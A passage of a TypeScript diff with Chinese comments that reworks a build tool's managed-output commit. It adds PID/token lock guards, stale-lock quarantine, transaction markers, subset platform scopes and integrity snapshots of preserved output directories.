Number(record.pid) <= 0 + || typeof record.token !== 'string' || !LOCK_TOKEN.test(record.token)) { + return Object.freeze({ bytes, metadata }); + } + return Object.freeze({ + bytes, + metadata, + record: Object.freeze({ schemaVersion: 3, pid: Number(record.pid), token: record.token }), + }); + } catch { + return Object.freeze({ bytes, metadata }); + } +} + +/** @returns 已验证 PID 是否仍对应一个可见进程。 */ +function processIsAlive(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch (error) { + /** EPERM 同样证明进程存在,只是当前调用者无权发送信号。 */ + return (error as NodeJS.ErrnoException).code !== 'ESRCH'; + } +} + +/** 从 lock sibling 名称读取唯一 guard 的 PID、token 和发布状态。 */ +function parseManagedOutputLockGuard( + lockFile: string, + name: string, +): (ManagedOutputLockGuard & { readonly draft: boolean }) | undefined { + /** guard 名称只匹配当前 outDir 的精确 lock basename。 */ + const prefix = `${path.basename(lockFile)}.guard.`; + if (!name.startsWith(prefix)) + return undefined; + /** writing 后缀表示完整 record 尚未原子发布。 */ + const draft = name.endsWith('.writing'); + /** 剩余部分固定为 pid.token,UUID 不包含点号。 */ + const identity = name.slice(prefix.length, draft ? -'.writing'.length : undefined); + /** 第一个点号稳定分隔十进制 PID 与 UUID token。 */ + const separator = identity.indexOf('.'); + if (separator <= 0) + return undefined; + /** PID 来自名称即可在部分 draft 上判断 owner 是否仍存活。 */ + const pidText = identity.slice(0, separator); + /** token 使路径永不被另一个正常调用复用。 */ + const token = identity.slice(separator + 1); + /** 数值 PID 必须保持在 JavaScript 精确整数范围内。 */ + const pid = Number(pidText); + if (!/^[1-9][0-9]*$/u.test(pidText) || !Number.isSafeInteger(pid) || pid <= 0 || !LOCK_TOKEN.test(token)) + return undefined; + /** 绝对 guard 路径只由受管 lock 同级名称组合。 */ + const guardPath = path.join(path.dirname(lockFile), name); + return Object.freeze({ path: guardPath, pid, token, draft }); +} + +/** 发布一个唯一 guard;并发调用互不覆盖,进程崩溃后路径仍可精确回收。 */ +async function publishManagedOutputLockGuard(lockFile: string): Promise { + /** 名称中的 PID/token 允许在 draft 尚不完整时判断 owner。 */ + const pid = process.pid; + /** 每个 guard 路径在所有正常调用间永久唯一。 */ + const token = randomUUID(); + /** 最终 guard record 只在完整写入后通过 hard link 出现。 */ + const finalPath = `${lockFile}.guard.${pid}.${token}`; + /** 同级唯一 draft 不参与互斥,owner identity 已在文件名中。 */ + const draftPath = `${finalPath}.writing`; + ACTIVE_LOCK_GUARD_TOKENS.add(token); + try { + /** draft 从创建起保持私有普通文件。 */ + const handle = await fs.open(draftPath, 'wx', 0o600); + try { + await handle.writeFile(`${JSON.stringify({ schemaVersion: 3, pid, token })}\n`); + await handle.sync(); + } finally { + await closeOwnedFile(handle); + } + /** 唯一 final path 仍使用 no-replace 发布,避免任何路径覆盖。 */ + await fs.link(draftPath, finalPath); + await removeOwnedPath(draftPath); + return Object.freeze({ path: finalPath, pid, token }); + } catch (error) { + /** 发布失败只清理当前唯一 identity 的两个路径。 */ + await removeOwnedPath(finalPath).catch(() => undefined); + await removeOwnedPath(draftPath).catch(() => undefined); + ACTIVE_LOCK_GUARD_TOKENS.delete(token); + throw error; + } +} + +/** @returns guard 是否仍由一个实际存活的调用持有或发布。 */ +function managedOutputLockGuardIsLive(guard: ManagedOutputLockGuard): boolean { + if (guard.pid === process.pid) + return ACTIVE_LOCK_GUARD_TOKENS.has(guard.token); + return processIsAlive(guard.pid); +} + +/** 精确释放当前唯一 guard,失败残留由下一次扫描按同一路径回收。 */ +async function releaseManagedOutputLockGuard(guard: ManagedOutputLockGuard): Promise { + try { + await removeOwnedPath(guard.path); + } finally { + ACTIVE_LOCK_GUARD_TOKENS.delete(guard.token); + } } /** - * 重新读取一个目录内的 Artifact,复核类型、摘要、大小和权限。 + * 获取 lock path 元数据互斥权。 * - * @param root Artifact 已物化到的单元根目录。 - * @param artifacts Registry 提供的完整性基准。 - * @param label 错误消息使用的稳定单元标签。 + * 每个竞争者先发布自己的唯一 intent,再扫描所有 intent;晚到者一定能看到仍在 + * 临界区内的早到者。竞争同时发生时允许双方短暂退避,但绝不允许双方进入。 */ -async function validateMaterializedArtifacts( - root: string, - artifacts: readonly Artifact[], - label: string, +async function acquireManagedOutputLockGuard(lockFile: string): Promise { + for (let attempt = 0; attempt < 8; attempt += 1) { + /** 当前 attempt 使用全新 identity,旧 attempt 路径不会被复用。 */ + const own = await publishManagedOutputLockGuard(lockFile); + /** 是否存在另一个仍在发布或持有的 guard。 */ + let conflict = false; + try { + /** 目录快照足以建立互斥:任何快照后的新 guard 都必须看到 own。 */ + const names = (await fs.readdir(path.dirname(lockFile))).sort(compareCodePoints); + for (const name of names) { + /** 非当前 lock 的普通 sibling 与 transaction helper 不参与 guard 协议。 */ + const candidate = parseManagedOutputLockGuard(lockFile, name); + if (candidate === undefined || (!candidate.draft && candidate.path === own.path)) + continue; + if (managedOutputLockGuardIsLive(candidate)) { + conflict = true; + continue; + } + /** 唯一 PID/token 路径永不复用,因此 stale cleanup 不会删除新 guard。 */ + await removeOwnedPath(candidate.path); + } + if (!conflict) + return own; + } catch (error) { + await releaseManagedOutputLockGuard(own).catch(() => undefined); + throw error; + } + await releaseManagedOutputLockGuard(own); + /** 小幅有界退避避免两个同时到达的调用持续同步冲突。 */ + await new Promise(resolve => setTimeout(resolve, attempt + 1)); + } + throw new Error('Managed output lock metadata is locked by another process.'); +} + +/** 确认 guard 内的 lock record 与首次观察完全一致。 */ +async function assertManagedOutputLockUnchanged( + file: string, + observation: ManagedOutputLockObservation, ): Promise { - for (const artifact of artifacts) { - /** 当前 Artifact 实际写入的文件路径。 */ - const destination = path.join(root, ...artifact.path.split('/')); - /** 用于拒绝符号链接和非普通文件的实际元数据。 */ - const stat = await fs.lstat(destination); - if (stat.isSymbolicLink() || !stat.isFile()) - throw new Error(`Materialized Artifact is not a regular file: ${label}/${artifact.path}`); - /** 从磁盘重新计算的字节数与摘要。 */ - const actual = await hashFile(destination); - if (actual.size !== artifact.size || actual.sha256 !== artifact.sha256) - throw new Error(`Materialized Artifact integrity mismatch: ${label}/${artifact.path}`); - if ((stat.mode & 0o777) !== artifact.mode) - throw new Error(`Materialized Artifact mode mismatch: ${label}/${artifact.path}`); + if (observation.record === undefined) { + /** 旧 writer 可能先创建空文件再写 record,给其一个固定且有界的完成窗口。 */ + await new Promise(resolve => setTimeout(resolve, LEGACY_LOCK_STABILITY_DELAY_MS)); } + /** 第二次完整读取是 malformed/stale recovery 的有界 unchanged-record check。 */ + const current = await readManagedOutputLock(file); + if (current.bytes !== observation.bytes + || !sameManagedOutputLockMetadata(current.metadata, observation.metadata)) + throw new Error('Managed output lock changed during stale recovery.'); } /** - * 将各 DeliveryUnit 根的 Artifact 以稳定顺序物化到指定目录。 + * 原子隔离当前精确观察到的 stale/malformed lock。 * - * @param root 全部 DeliveryUnit 共同使用的物化根目录。 - * @param unitRoots 单元相对根到已完成 Registry 校验的 Artifact 列表。 + * rename 后只删除字节仍匹配的 inode;若竞争者替换了记录则尽力恢复并失败关闭。 */ -async function materializeUnitRoots( - root: string, - unitRoots: ReadonlyMap, +async function quarantineManagedOutputLock( + file: string, + observation: ManagedOutputLockObservation, ): Promise { - await fs.mkdir(root, { recursive: true }); - for (const unitRoot of [...unitRoots.keys()].sort()) { - /** 当前 DeliveryUnit 在物化根目录下的隔离子目录。 */ - const directory = path.join(root, unitRoot); - await fs.mkdir(directory, { recursive: true }); - for (const artifact of unitRoots.get(unitRoot) ?? []) - await materializeFile(directory, artifact); + /** rename 前在 metadata guard 内完成第二次完整 unchanged-record check。 */ + await assertManagedOutputLockUnchanged(file, observation); + /** 唯一同级 quarantine 避免并发 cleaner 覆盖彼此。 */ + const quarantine = `${file}.${randomUUID()}.stale`; + try { + await fs.rename(file, quarantine); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return; + throw error; + } + try { + /** random token 使合法 writer replacement 不可能与旧 observation 字节相同。 */ + const moved = await readManagedOutputLock(quarantine); + if (moved.bytes !== observation.bytes + || !sameManagedOutputLockInode(moved.metadata, observation.metadata)) { + try { + await fs.link(quarantine, file); + } catch { + /** 另一个 writer 已占用最终 lock 时不能覆盖它。 */ + } + throw new Error('Managed output lock changed during stale recovery.'); + } + } finally { + await removeOwnedPath(quarantine); } } +/** 把完整 owner record 通过 hard-link no-replace 原子发布为最终锁。 */ +async function publishManagedOutputLock(file: string): Promise { + /** token 同时区分同 PID 的当前 holder 与 cleanup 失败残留。 */ + const token = randomUUID(); + /** 同目录唯一草稿保证 hard-link 发布不跨文件系统。 */ + const draft = `${file}.${token}.writing`; + /** 草稿从创建起就是私有普通文件。 */ + const handle = await fs.open(draft, 'wx', 0o600); + try { + try { + await handle.writeFile(`${JSON.stringify({ schemaVersion: 3, pid: process.pid, token })}\n`); + await handle.sync(); + } finally { + await closeOwnedFile(handle); + } + /** final path 要么不存在并完整出现,要么保持既有 writer 不变。 */ + await fs.link(draft, file); + } finally { + await removeOwnedPath(draft); + } + return token; +} + +/** 只释放仍由当前 holder token 标识的最终锁。 */ +async function releaseManagedOutputLock(file: string, token: string): Promise { + /** 删除前重新读取最终锁,避免移除另一个 writer 已替换的记录。 */ + const observation = await readManagedOutputLock(file); + if (observation.record?.pid !== process.pid || observation.record.token !== token) + throw new Error('Managed output lock ownership changed before release.'); + await removeOwnedPath(file); +} + /** - * 重新读取已物化文件,验证文件类型、内容摘要、大小和权限。 + * 持久写入一个不含物理路径的事务 marker。 * - * @param root 先前执行物化操作的根目录。 - * @param unitRoots 单元相对根到完整性基准 Artifact 的映射。 - * @throws 物化内容与 Artifact 契约不一致时抛出异常。 + * @param file 同一受管输出专属的 marker 路径。 + * @param record 当前事务的稳定恢复信息。 */ -async function validateMaterializedUnitRoots( - root: string, - unitRoots: ReadonlyMap, -): Promise { - for (const unitRoot of [...unitRoots.keys()].sort()) { - /** 当前 DeliveryUnit 已物化文件的根目录。 */ - const directory = path.join(root, unitRoot); - await validateMaterializedArtifacts(directory, unitRoots.get(unitRoot) ?? [], unitRoot); +async function writeTransactionMarker(file: string, record: TransactionRecord): Promise { + /** 临时普通文件先完整落盘,最终 marker 永远不会暴露部分 JSON。 */ + const writing = `${file}${MARKER_WRITING_SUFFIX}`; + /** `wx` 防止遗留或并发状态被当前事务静默覆盖。 */ + const handle = await fs.open(writing, 'wx', 0o600); + try { + await handle.writeFile(`${JSON.stringify(record)}\n`); + /** 临时 marker 内容先落盘,随后才允许原子发布最终目录项。 */ + await handle.sync(); + } finally { + await handle.close(); + } + try { + /** 同目录 hard link 原子发布且拒绝覆盖任何既有最终 marker。 */ + await fs.link(writing, file); + } finally { + /** 发布前失败或发布后崩溃遗留的临时链接都不参与恢复判断。 */ + await fs.rm(writing, { force: true }); } } /** - * 在系统临时目录中完整演练物化和完整性校验,但不修改真实输出目录。 + * 读取并验证一个受管事务 marker。 * - * @param unitRoots 单元相对根到已完成 Registry 校验的 Artifact 列表。 + * @param file 当前输出专属 marker 路径。 + * @param expectedOutDir 当前受管输出 basename。 + * @returns marker 不存在时返回 undefined。 */ -async function validateUnitRootMaterialization( - unitRoots: ReadonlyMap, -): Promise { - /** 本次验证独占且无论成功失败都会删除的临时目录。 */ - const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-validate-')); - try { - await materializeUnitRoots(temporary, unitRoots); - await validateMaterializedUnitRoots(temporary, unitRoots); - } finally { - await fs.rm(temporary, { recursive: true, force: true }); +async function readTransactionMarker(file: string, expectedOutDir: string): Promise { + /** marker 缺失是正常恢复状态。 */ + const stat = await fs.lstat(file).catch(() => undefined); + if (stat === undefined) + return undefined; + if (stat.isSymbolicLink() || !stat.isFile()) + throw new Error('Managed output transaction marker must be a regular file.'); + /** 未验证 JSON 只能用于恢复状态判断,不能提供任意路径。 */ + const value: unknown = JSON.parse(await fs.readFile(file, 'utf8')); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new Error('Managed output transaction marker is invalid.'); + /** marker 只允许固定恢复字段。 */ + const record = value as Record; + if (Object.keys(record).sort(compareCodePoints).join(',') !== 'hadOutput,outDir,schemaVersion,scope' + || record.schemaVersion !== 2 || record.outDir !== expectedOutDir + || (record.scope !== 'full' && record.scope !== 'subset') || typeof record.hadOutput !== 'boolean') { + throw new Error('Managed output transaction marker is invalid.'); } + return Object.freeze({ + schemaVersion: 2, + outDir: record.outDir, + scope: record.scope, + hadOutput: record.hadOutput, + }) as TransactionRecord; } -/** 独立候选目录及其幂等清理函数。 */ -export interface MaterializedCandidateHandle { - readonly candidate: MaterializedCandidate; - readonly cleanup: () => Promise; +/** @returns 字节的 SHA-256 十六进制摘要。 */ +function hashBytes(bytes: Uint8Array): string { + return createHash('sha256').update(bytes).digest('hex'); } /** - * 在独占临时目录中物化一个 DeliveryUnit 候选并复核完整性。 + * 规范化 transaction scope 并校验与 Unit Platform 集合完全一致。 * - * @param unit 已通过全局 Registry 的交付单元。 - * @param temporaryParent 可选的 Platform 独占临时目录。 - * @returns 可交给 Platform Validator 的只读候选与清理函数。 + * @param scope 调用方选择语义。 + * @param units 本轮待提交 Package Units。 + * @returns frozen full/subset scope。 */ -export async function materializeDeliveryUnitCandidate( - unit: DeliveryUnit, - temporaryParent: string = os.tmpdir(), -): Promise { - await fs.mkdir(temporaryParent, { recursive: true }); - /** 当前候选独占且不包含最终 outDir 信息的临时根。 */ - const root = await fs.mkdtemp(path.join(temporaryParent, 'acplugin-candidate-')); - try { - for (const artifact of unit.artifacts) - await materializeFile(root, artifact); - await validateMaterializedArtifacts(root, unit.artifacts, `${unit.platform}/${unit.id}`); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - await fs.rm(root, { recursive: true, force: true }); - throw error; +function normalizeScope( + scope: ManagedOutputScope | undefined, + units: readonly PackageUnitSnapshot[], +): ManagedOutputScope { + if (scope === undefined || scope.type === 'full') + return Object.freeze({ type: 'full' }); + if (scope.type !== 'subset' || !Array.isArray(scope.platforms)) + throw new TypeError('Managed output scope is invalid.'); + /** selected IDs 复制、排序并拒绝不稳定或重复值。 */ + const selected = [...scope.platforms].sort(compareCodePoints); + if (selected.length === 0 || selected.some(platform => !STABLE_ID.test(platform)) + || new Set(selected).size !== selected.length) { + throw new TypeError('Subset Platform ids must be unique lowercase kebab-case values.'); } - /** 只读类型和冻结外壳阻止 Validator 替换候选身份。 */ - const candidate = Object.freeze({ root, unit }); - return Object.freeze({ - candidate, - /** Platform Validator 返回后删除整个独占候选目录。 */ - cleanup: () => fs.rm(root, { recursive: true, force: true }), - }); + /** 成功提交时每个 selected Platform 必须至少存在一个 Unit。 */ + const actual = [...new Set(units.map(unit => unit.platform))].sort(compareCodePoints); + if (JSON.stringify(actual) !== JSON.stringify(selected)) + throw new TypeError('Subset Platform ids must exactly match the Package Unit Platform set.'); + return Object.freeze({ type: 'subset', platforms: Object.freeze(selected) }); } /** - * 在独立候选上执行 Platform Validator,并在其返回后再次复核文件完整性。 + * 验证 outDir 与 project root 的物理语法边界。 * - * @param unit 已通过 Registry 的交付单元。 - * @param validate 只读观察候选内容的平台校验函数。 - * @param temporaryParent 可选的 Platform 独占临时目录。 + * @param outDir 受管输出目录。 + * @param projectRoot 工程根目录。 + * @returns outDir、父目录和 basename 的绝对路径集合。 */ -export async function withMaterializedDeliveryUnitCandidate( - unit: DeliveryUnit, - validate: (candidate: MaterializedCandidate) => Awaitable, - temporaryParent?: string, -): Promise { - /** 当前 Validator 独占的候选句柄。 */ - const handle = await materializeDeliveryUnitCandidate(unit, temporaryParent); - try { - await validate(handle.candidate); - // Validator 契约是只读的;返回后复核可在运行时发现意外或恶意修改。 - await validateMaterializedArtifacts(handle.candidate.root, unit.artifacts, `${unit.platform}/${unit.id}`); - } finally { - await handle.cleanup(); +function outputPaths(outDir: string, projectRoot: string): { + readonly resolved: string; + readonly parent: string; + readonly base: string; +} { + /** 输入路径先解析为绝对位置再判断边界。 */ + const resolved = path.resolve(outDir); + /** 工程根同样固定为绝对路径。 */ + const project = path.resolve(projectRoot); + /** basename 用于构造同级事务辅助路径。 */ + const base = path.basename(resolved); + if (!isInsidePath(project, resolved) || resolved === project + || resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') { + throw new Error('Managed output must stay strictly inside the project root.'); } + return Object.freeze({ resolved, parent: path.dirname(resolved), base }); } /** - * 把 DeliveryUnit 集合转换为受管输出树路径映射。 + * 读取一个未选 Platform 的完整旧输出,拒绝非普通内容和路径碰撞。 * - * @param units 全局 Registry 的稳定单元快照。 - * @returns `/` 到 Artifact 列表的唯一映射。 + * @param root Platform 物理根。 + * @param id Platform ID。 + * @returns 可复制并在 swap 前复核的内存快照。 */ -function deliveryUnitRoots(units: readonly DeliveryUnit[]): ReadonlyMap { - /** 单元物理根到 Artifact 列表的稳定映射。 */ - const roots = new Map(); - for (const unit of units) { - if (!/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(unit.platform) || !/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(unit.id)) - throw new Error('DeliveryUnit Platform and id must use lowercase kebab-case.'); - /** 最终 outDir 内的两级受管相对路径。 */ - const key = `${unit.platform}/${unit.id}`; - if (roots.has(key)) - throw new Error(`Duplicate DeliveryUnit "${key}".`); - roots.set(key, unit.artifacts); +async function snapshotPreservedPlatform(root: string, id: string): Promise { + /** scanPhysicalTree 统一拒绝 symlink/special file。 */ + const tree = await scanPhysicalTree(root); + /** 路径索引额外拒绝大小写和 NFC collision。 */ + const collision = new Map(); + for (const relative of [...tree.directories, ...tree.files]) { + /** 所有目录和文件共享同一个折叠 collision domain。 */ + const key = sourceCollisionKey(relative); + /** 首次出现的原始 path 用于稳定诊断。 */ + const previous = collision.get(key); + if (previous !== undefined) + throw new Error(`Preserved Platform path "${relative}" collides with "${previous}".`); + collision.set(key, relative); } - return roots; + /** file snapshots 与目录 closure 分开保存。 */ + const files: PreservedFile[] = []; + for (const relative of tree.files) { + /** 文件字节一次性复制,旧输出不会成为新 AssetRef 来源。 */ + const file = path.join(root, ...relative.split('/')); + /** mode 只接受框架 Asset 支持的两种权限。 */ + const stat = await fs.lstat(file); + /** 权限去除文件类型位后参与 snapshot。 */ + const mode = stat.mode & 0o777; + if (mode !== 0o644 && mode !== 0o755) + throw new Error(`Preserved Platform file has unsupported mode: ${id}/${relative}.`); + /** 内容 snapshot 同时固定 size/hash。 */ + const bytes = Uint8Array.from(await fs.readFile(file)); + files.push(Object.freeze({ + path: relative, + bytes, + mode, + size: bytes.byteLength, + sha256: hashBytes(bytes), + })); + } + return Object.freeze({ id, directories: tree.directories, files: Object.freeze(files) }); } /** - * 将全部 DeliveryUnit 物化为最终两级目录布局。 + * 在取得 transaction lock 后快照所有未选 Platform。 * - * @param root 候选或 stage 根目录。 - * @param units 全局 Registry 的单元快照。 + * @param outDir 当前受管输出。 + * @param selected 本轮显式替换的 Platform。 + * @returns 按 Platform ID 排序的旧输出快照。 */ -export async function materializeDeliveryUnits(root: string, units: readonly DeliveryUnit[]): Promise { - await materializeUnitRoots(root, deliveryUnitRoots(units)); +async function snapshotPreservedPlatforms( + outDir: string, + selected: ReadonlySet, +): Promise { + if (!await exists(outDir)) + return Object.freeze([]); + /** outDir 自身也不能是 symlink 或普通文件。 */ + const stat = await fs.lstat(outDir); + if (stat.isSymbolicLink() || !stat.isDirectory()) + throw new Error('Managed output root must be a regular directory.'); + /** outDir 顶层只能包含 lowercase-kebab Platform 目录。 */ + const entries = (await fs.readdir(outDir, { withFileTypes: true })) + .sort((left, right) => compareCodePoints(left.name, right.name)); + /** 未选 Platform 按目录顺序进入快照。 */ + const preserved: PreservedPlatform[] = []; + /** 顶层 Platform ID 也拒绝 case/NFC collision。 */ + const collisions = new Map(); + for (const entry of entries) { + if (!STABLE_ID.test(entry.name) || !entry.isDirectory() || entry.isSymbolicLink()) + throw new Error(`Managed output contains an invalid Platform root: "${entry.name}".`); + /** Platform ID 使用与 Package path 相同的折叠 key。 */ + const key = sourceCollisionKey(entry.name); + /** 首次 Platform 名用于冲突诊断。 */ + const previous = collisions.get(key); + if (previous !== undefined) + throw new Error(`Managed output Platform "${entry.name}" collides with "${previous}".`); + collisions.set(key, entry.name); + if (!selected.has(entry.name)) + preserved.push(await snapshotPreservedPlatform(path.join(outDir, entry.name), entry.name)); + } + return Object.freeze(preserved); } /** - * 在临时目录演练全部 DeliveryUnit 的物化和完整性复核。 + * 把未选 Platform snapshot 写入 stage。 * - * @param units 全局 Registry 的单元快照。 + * @param stage 当前事务 stage 根。 + * @param platforms 旧输出内存快照。 */ -export async function validateDeliveryUnitMaterialization(units: readonly DeliveryUnit[]): Promise { - await validateUnitRootMaterialization(deliveryUnitRoots(units)); +async function materializePreservedPlatforms( + stage: string, + platforms: readonly PreservedPlatform[], +): Promise { + for (const platform of platforms) { + /** Platform 根本身即使为空也必须保留。 */ + const root = path.join(stage, platform.id); + await fs.mkdir(root, { recursive: true, mode: 0o700 }); + for (const directory of platform.directories) + await fs.mkdir(path.join(root, ...directory.split('/')), { recursive: true, mode: 0o700 }); + for (const file of platform.files) { + /** 文件写入不复用 copyFile,确保使用已快照的确定字节。 */ + const destination = path.join(root, ...file.path.split('/')); + await fs.mkdir(path.dirname(destination), { recursive: true, mode: 0o700 }); + await fs.writeFile(destination, file.bytes, { flag: 'wx', mode: file.mode }); + await fs.chmod(destination, file.mode); + } + } } /** - * 原子提交全部 DeliveryUnit;任意失败都不会形成部分 Platform 输出。 + * 复核保留 Platform 的树闭包、字节和 mode。 * - * @param outDir 框架完全管理的输出目录。 - * @param units 全局 Registry 的完整单元快照。 - * @param options 锁、边界和故障注入选项。 + * @param parent outDir 或 stage 根。 + * @param platforms 先前建立的完整快照。 */ -export async function commitDeliveryUnits( - outDir: string, - units: readonly DeliveryUnit[], - options: CommitDeliveryUnitsOptions = {}, +async function validatePreservedPlatforms( + parent: string, + platforms: readonly PreservedPlatform[], ): Promise { - await commitUnitRoots(outDir, deliveryUnitRoots(units), options); + for (const platform of platforms) { + /** preserved validation 始终从 Platform root 开始。 */ + const root = path.join(parent, platform.id); + /** closure 比较拒绝外部在 snapshot 后增删文件或目录。 */ + const tree = await scanPhysicalTree(root); + if (JSON.stringify(tree.directories) !== JSON.stringify(platform.directories) + || JSON.stringify(tree.files) !== JSON.stringify(platform.files.map(file => file.path))) { + throw new Error(`Preserved Platform tree changed during transaction: ${platform.id}.`); + } + for (const expected of platform.files) { + /** 每个文件重新读取以验证 source/stage 都等于同一 snapshot。 */ + const file = path.join(root, ...expected.path.split('/')); + /** mode 从 lstat 获取,避免最终 symlink 跟随。 */ + const stat = await fs.lstat(file); + /** bytes 再次复算 size/hash。 */ + const bytes = Uint8Array.from(await fs.readFile(file)); + if ((stat.mode & 0o777) !== expected.mode || bytes.byteLength !== expected.size + || hashBytes(bytes) !== expected.sha256) { + throw new Error(`Preserved Platform file changed during transaction: ${platform.id}/${expected.path}.`); + } + } + } } /** - * 通过加锁、阶段目录、备份和目录交换原子提交全部 DeliveryUnit 根。 - * - * 同级事务记录与备份允许下一次调用修复进程中断留下的状态;交换后 Hook 失败时, - * 当前调用会删除新输出并恢复旧目录,保证调用方只观察到完整的新旧版本之一。 + * 校验 stage 顶层只包含本轮 Unit 与保留 Platform 的完整集合。 * - * @param outDir 由 acplugin 完全管理的输出目录。 - * @param unitRoots 单元相对根到已完成 Registry 校验的 Artifact 列表。 - * @param options 阶段通知与交换后事务 Hook。 - * @throws 输出路径不安全、存在活跃锁、物化失败或回滚失败时抛出异常。 + * @param stage 当前 stage 根。 + * @param units 本轮新 Package Units。 + * @param preserved 未选 Platform snapshots。 */ -async function commitUnitRoots( - outDir: string, - unitRoots: ReadonlyMap, - options: CommitDeliveryUnitsOptions = {}, +async function validateStagePlatforms( + stage: string, + units: readonly PackageUnitSnapshot[], + preserved: readonly PreservedPlatform[], ): Promise { - /** 规范化后的受管输出绝对路径。 */ - const resolved = path.resolve(outDir); - /** 存放输出、锁、阶段目录和备份的共同父目录。 */ - const parent = path.dirname(resolved); - /** 用于构造同级事务辅助路径的输出目录名称。 */ - const base = path.basename(resolved); - if (resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') - throw new Error(`Unsafe managed output path: ${outDir}`); - if (options.projectRoot !== undefined) { - /** 调用方提供并解析后的可信工程根。 */ - const projectRoot = path.resolve(options.projectRoot); - /** outDir 相对于工程根的位置,用于拒绝工程根本身和目录逃逸。 */ - const outputRelative = path.relative(projectRoot, resolved); - if (outputRelative === '' || path.isAbsolute(outputRelative) || outputRelative === '..' || outputRelative.startsWith(`..${path.sep}`)) - throw new Error(`Managed output must stay strictly inside the project root: ${outDir}`); + /** expected 顶层由新 Unit Platform 与 preserved Platform 并集组成。 */ + const expected = [...new Set([ + ...units.map(unit => unit.platform), + ...preserved.map(platform => platform.id), + ])].sort(compareCodePoints); + /** stage 顶层实际目录集合也必须完整闭合。 */ + const actual = (await fs.readdir(stage, { withFileTypes: true })) + .map((entry) => { + if (!entry.isDirectory() || entry.isSymbolicLink()) + throw new Error(`Managed stage contains a non-directory Platform root: "${entry.name}".`); + return entry.name; + }) + .sort(compareCodePoints); + if (JSON.stringify(actual) !== JSON.stringify(expected)) + throw new Error('Managed stage Platform closure mismatch.'); +} + +/** 把即将 swap 的最终 stage 全部目录规范为公开可遍历的 0755。 */ +async function normalizeFinalDirectoryModes(stage: string): Promise { + if (process.platform === 'win32') + return; + /** scan 先证明整棵 stage 不含 symlink 或特殊文件。 */ + const tree = await scanPhysicalTree(stage); + /** 后代先 chmod,最后处理会成为 outDir 的 stage root。 */ + for (const directory of tree.directories) + await fs.chmod(path.join(stage, ...directory.split('/')), 0o755); + await fs.chmod(stage, 0o755); +} + +/** 复核 stage 根和所有后代目录的最终 POSIX mode。 */ +async function validateFinalDirectoryModes(stage: string): Promise { + if (process.platform === 'win32') + return; + /** scan 同时返回完整目录闭包并拒绝非普通内容。 */ + const tree = await scanPhysicalTree(stage); + for (const directory of ['', ...tree.directories]) { + /** 空字符串表示最终 outDir 根自身。 */ + const physical = directory === '' ? stage : path.join(stage, ...directory.split('/')); + /** lstat 复核当前目录没有被替换且使用最终公开 mode。 */ + const stat = await fs.lstat(physical); + if ((stat.mode & 0o777) !== 0o755) + throw new Error('Managed stage directories must use mode 0755.'); } +} - await fs.mkdir(parent, { recursive: true }); - /** 防止多个进程并发提交同一输出目录的独占锁文件。 */ - const lockPath = path.join(parent, `.${base}.acplugin.lock`); - /** 标记输出交换尚未完成清理的持久事务记录。 */ - const transactionPath = path.join(parent, `.${base}.acplugin-transaction.json`); - /** 目录交换期间保存旧输出、用于恢复的同级备份路径。 */ - const backupPath = path.join(parent, `.${base}.acplugin-backup`); - /** 当前调用创建、尚未交换或删除的阶段目录。 */ +/** + * 原子提交全部 selected Package Units。 + * + * @param outDir 框架完全管理的输出目录。 + * @param units 已完成 candidate/compatibility 校验的 Package Units。 + * @param assets 当前 BuildSession Asset Registry。 + * @param options 工程边界、scope 和 fault-injection hooks。 + */ +export async function commitPackageUnits( + outDir: string, + units: readonly PackageUnitSnapshot[], + assets: AssetRegistry, + options: CommitPackageUnitsOptions, +): Promise { + /** 所有路径、scope 输入在创建锁或辅助文件前完成验证。 */ + const locations = outputPaths(outDir, options.projectRoot); + /** scope 与本轮 Unit Platform set 精确绑定。 */ + const scope = normalizeScope(options.scope, units); + await fs.mkdir(locations.parent, { recursive: true }); + /** project→parent 的每层必须是非 symlink 普通目录。 */ + await validatePhysicalEntry(path.resolve(options.projectRoot), locations.parent, 'directory'); + if (await exists(locations.resolved)) + await validatePhysicalEntry(path.resolve(options.projectRoot), locations.resolved, 'directory'); + /** 三个持久辅助路径与 outDir 同级,保证 rename 不跨文件系统。 */ + const lockPath = path.join(locations.parent, `.${locations.base}.acplugin.lock`); + /** transaction record 用于崩溃恢复。 */ + const transactionPath = path.join(locations.parent, `.${locations.base}.acplugin-transaction.json`); + /** transaction marker 写入中断时遗留的非权威临时文件。 */ + const transactionWritingPath = `${transactionPath}${MARKER_WRITING_SUFFIX}`; + /** cleanup 完成后写入的 marker 将 pending transaction 提升为正式提交。 */ + const committedPath = path.join(locations.parent, `.${locations.base}.acplugin-committed.json`); + /** committed marker 写入中断时遗留的非权威临时文件。 */ + const committedWritingPath = `${committedPath}${MARKER_WRITING_SUFFIX}`; + /** backup 保存 swap 前的完整旧目录。 */ + const backupPath = path.join(locations.parent, `.${locations.base}.acplugin-backup`); + /** 当前调用创建但尚未 swap 的 stage。 */ let stage: string | undefined; - /** 当前事务是否已经把旧输出移动为备份。 */ + /** rollback 判断旧输出是否已经移动。 */ let backupCreated = false; - /** 当前事务是否已经把新阶段目录交换到正式输出路径。 */ + /** rollback 判断新输出是否已经暴露。 */ let outputSwapped = false; + /** 仅清理当前调用已经创建的 transaction marker。 */ + let transactionWritten = false; - /** - * 创建独占进程锁;发现死进程遗留锁时清理并重试一次。 - * - * @returns 当前进程持有且需要在 finally 中关闭的锁文件句柄。 - */ - const acquireLock = async (): Promise => { - try { - /** 通过 `wx` 原子创建的独占锁句柄。 */ - const handle = await fs.open(lockPath, 'wx'); - await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); - return handle; - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code !== 'EEXIST') - throw error; + /** 创建独占锁;完整 stale/malformed 状态隔离后允许有限重试。 */ + const acquireLock = async (): Promise => { + for (let attempt = 0; attempt < 4; attempt += 1) { + /** 所有 fixed lock path 读取、发布和恢复都在唯一 guard 内串行化。 */ + const guard = await acquireManagedOutputLockGuard(lockPath); try { - /** 